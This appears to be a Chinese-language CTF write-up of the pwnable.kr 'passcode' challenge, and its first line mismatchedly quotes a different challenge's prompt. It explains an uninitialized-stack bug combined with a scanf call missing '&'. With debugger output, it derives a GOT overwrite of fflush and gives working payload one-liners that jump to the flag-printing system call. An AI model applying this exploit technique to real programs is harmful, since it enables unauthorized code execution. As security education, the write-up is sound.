1 2 3 4 Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnable.kr -p2222 (pw:guest) 
 
登录上,一开始我是没有意识到这个代码里面有什么错误,输入用户名之后,继续输入passcode1。我输入了338150,然后直接报错segment fault了?!怎么会呢,输入怎么会有错。
后面仔细看才发现,scanf的时候,没有取地址&。那scanf的效果实际上是:写入值到地址=passcode1的值的内存中,即[passcode1]地址处的内存,写入值。
如果能够提前控制passcode1的值(栈变量),或许就可以达到任意地址写入的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include  <stdio.h>  #include  <stdlib.h>  void  login () {	int  passcode1; 	int  passcode2; 	printf ("enter passcode1 : " ); 	scanf ("%d" , passcode1); 	fflush(stdin ); 	 	printf ("enter passcode2 : " );     scanf ("%d" , passcode2); 	printf ("checking...\n" ); 	if (passcode1==338150  && passcode2==13371337 ){         printf ("Login OK!\n" );         system("/bin/cat flag" );     }     else {         printf ("Login Failed!\n" ); 		exit (0 );     } } void  welcome () {	char  name[100 ]; 	printf ("enter you name : " ); 	scanf ("%100s" , name); 	printf ("Welcome %s!\n" , name); } int  main () {	printf ("Toddler's Secure Login System 1.0 beta.\n" ); 	welcome(); 	login(); 	 	printf ("Now I can safely trust you that you have credential :)\n" ); 	return  0 ; } 
 
编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 passcode.c: In function ‘login’: passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]     9 |         scanf("%d", passcode1);       |                ~^   ~~~~~~~~~       |                 |   |       |                 |   int       |                 int * passcode.c:14:13: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]    14 |     scanf("%d", passcode2);       |            ~^   ~~~~~~~~~       |             |   |       |             |   int       |             int * 
 
似乎懂一点意思了,应该是上一个函数welcome栈中局部变量可控,下一个函数login中复用了栈,但是栈中的内容没有被清零,因此只要分析函数welcome中的局部变量name和login函数中的passcode1和passcode2在栈中的空间关系,就可以先在函数welcom中控制passcode1或者passcode2的值,也就是控制任意写的地址。然后在函数login中通过scanf的错误写法,控制任意写的值,最后就达到了任意地址写入的目的。
本质原因是因为这两个函数都是由main函数调用的,而且两个函数的传参数量都一样(都是0),因此两个函数的栈帧也是相同的。如果遇到传参不同或者不同步调用,也可以分析出来偏移关系。
如下是调试的时候,函数welcome和函数login的栈布局,可以看到函数栈的起始地址都是相同的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> info frame 0 Stack frame at 0xffffd220:  eip = 0x8048609 in welcome; saved eip = 0x804867f  called by frame at 0xffffd240  Arglist at 0xffffd218, args:  Locals at 0xffffd218, Previous frame's sp is 0xffffd220  Saved registers:   eip at 0xffffd21c pwndbg> info frame 0 Stack frame at 0xffffd220:  eip = 0x8048564 in login; saved eip = 0x8048684  called by frame at 0xffffd240  Arglist at 0xffffd218, args:  Locals at 0xffffd218, Previous frame's sp is 0xffffd220  Saved registers:   eip at 0xffffd21c 
 
分析函数welcom中的局部变量name的地址=ebp-0x70;
1 2 3 4 5   0x804862a <welcome+33>    mov    eax, 0x80487dd   0x804862f <welcome+38>    lea    edx, [ebp - 0x70]   0x8048632 <welcome+41>    mov    dword ptr [esp + 4], edx   0x8048636 <welcome+45>    mov    dword ptr [esp], eax ► 0x8048639 <welcome+48>    call   __isoc99_scanf@plt                     <__isoc99_scanf@plt> 
 
分析函数login中的局部变量passcode1的地址=ebp-0x10,passcode2的地址是ebp-0xc;
1 2 3 4 5 6 7 8 9 10 11   0x8048577 <login+19>    mov    eax, 0x8048783   0x804857c <login+24>    mov    edx, dword ptr [ebp - 0x10]   0x804857f <login+27>    mov    dword ptr [esp + 4], edx   0x8048583 <login+31>    mov    dword ptr [esp], eax ► 0x8048586 <login+34>    call   __isoc99_scanf@plt                     <__isoc99_scanf@plt>   0x80485a5 <login+65>     mov    eax, 0x8048783   0x80485aa <login+70>     mov    edx, dword ptr [ebp - 0xc]   0x80485ad <login+73>     mov    dword ptr [esp + 4], edx   0x80485b1 <login+77>     mov    dword ptr [esp], eax ► 0x80485b4 <login+80>     call   __isoc99_scanf@plt                     <__isoc99_scanf@plt> 
 
经过简单的计算,name和passcode1的偏移是96,和passcode2的偏移是100。而name长度最多是100,那么就考虑先使用name控制passcode1中的初始值。
也就是,获取了一个任意地址4字节写入的能力。
利用 利用方式可以考虑plt劫持,可以就近在输入完毕passcode1后,劫持fflush函数到执行system输入flag的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> plt Section .plt 0x8048410-0x80484b0: 0x8048420: printf@plt 0x8048430: fflush@plt 0x8048440: __stack_chk_fail@plt 0x8048450: puts@plt 0x8048460: system@plt 0x8048470: __gmon_start__@plt 0x8048480: exit@plt 0x8048490: __libc_start_main@plt 0x80484a0: __isoc99_scanf@plt pwndbg> x/3i *fflush    0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004    0x8048436 <fflush@plt+6>:    push   0x8    0x804843b <fflush@plt+11>:   jmp    0x8048410 
 
exp如下:
1 2 python3 -c "import sys; sys.stdout.buffer.write(b'A' * 96 + b'\x04\xa0\x04\x08' + b'134514147')" > ./payload python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode 
 
知识点小结 全局偏移表(GOT,global offset table)的作用是将位置独立的地址重定向到绝对地址;函数连接表(PLT,procedure linkage table)的作用是将位置独立的函数调用重定向到绝对地址。
调用函数fflush的时候,实际上并不是直接到flush的代码去执行,而是根据fflush查询到plt表中,jmp跳转到ds:off_804A004,也就是到got.plt表中,此时这个表中已经填充好了fflush函数的绝对地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .plt:08048430 ; int fflush(FILE *stream) .plt:08048430 _fflush         proc near               ; CODE XREF: login+2F↓p .plt:08048430 .plt:08048430 stream          = dword ptr  4 .plt:08048430 .plt:08048430                 jmp     ds:off_804A004 .plt:08048430 _fflush         endp .got.plt:0804A000 off_804A000     dd offset printf        ; DATA XREF: _printf↑r .got.plt:0804A004 off_804A004     dd offset fflush        ; DATA XREF: _fflush↑r .got.plt:0804A008 off_804A008     dd offset __stack_chk_fail .got.plt:0804A008                                         ; DATA XREF: ___stack_chk_fail↑r .got.plt:0804A00C off_804A00C     dd offset puts          ; DATA XREF: _puts↑r .got.plt:0804A010 off_804A010     dd offset system        ; DATA XREF: _system↑r .got.plt:0804A014 off_804A014     dd offset __gmon_start__ .got.plt:0804A014                                         ; DATA XREF: ___gmon_start__↑r